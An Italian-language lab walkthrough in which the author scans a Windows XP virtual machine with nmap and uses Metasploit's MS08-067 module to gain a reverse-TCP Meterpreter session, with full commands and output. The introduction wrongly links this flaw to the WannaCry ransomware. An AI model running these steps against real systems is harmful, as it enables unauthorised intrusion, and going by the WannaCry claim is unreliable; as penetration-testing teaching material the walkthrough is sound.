Oggi eseguiremo un exploit contro il servizio SMB della macchina windows xp. SMB è un protocollo, usato principalmente in ambiente windows, che serve per condividere file, stampanti e porte seriali. Storicamente la prima implementazione SMBv1 aveva una grave vulnerabilità che ebbe un impatto mondiale, in quanto fu sfruttata da un gruppo di criminali per diffondere il ransomware Wannacry. Il virus si propagò in centinaia di migliaia di computer in 150 paesi, causando centinaia di milioni di dollari di danni.
Attualmente questa vulnerabilità è stata patchata, ma resta una minaccia per sistemi non aggiornati e non protetti.
Cominciamo con la scansione nmap del target:

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 10.0.2.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 13:57 CET
Nmap scan report for 10.0.2.10
Host is up (0.00100s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.76 seconds
```

Il servizio SMB si trova sulla porta 445. Apriamo metasploit e cerchiamo l'exploit:

```
msf6 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corrup
tion


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
```

Selezioniamolo con il comando "use" e usiamo il comando "info" per saperne di più:

```
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > info

       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch:
  Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>
```

```
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization code of
  NetAPI32.dll through the Server Service. This module is capable of bypassing
  NX on some operating systems and service packs. The correct target must be
  used to prevent the Server Service (along with a dozen others in the same
  process) from crashing. Windows XP targets seem to handle multiple successful
  exploitation events, but 2003 targets will often crash or hang on subsequent
  attempts. This is just the first version of this module, full support for
  NX bypass on 2003, along with other platforms, is still in development.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-4250
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
  https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/


View the full module info with the info -d command.
```

Questo modulo sfrutta un difetto in una libreria dinamica.
Settiamo il host remoto bersaglio con il comando “set” ed eseguiamo l’exploit:

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 10.0.2.10
rhosts => 10.0.2.10
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 10.0.2.5:4444
[*] 10.0.2.10:445 - Automatically detecting the target...
[*] 10.0.2.10:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 10.0.2.10:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 10.0.2.10:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 10.0.2.10
[*] Meterpreter session 1 opened (10.0.2.5:4444 → 10.0.2.10:1026) at 2024-01-24 14:09:07 +0100

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > ipconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface  2
============
Name         : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit◆ di pianificazione pacchetti
Hardware MAC : 08:00:27:77:64:97
MTU          : 1500
IPv4 Address : 10.0.2.10
IPv4 Netmask : 255.255.255.0
```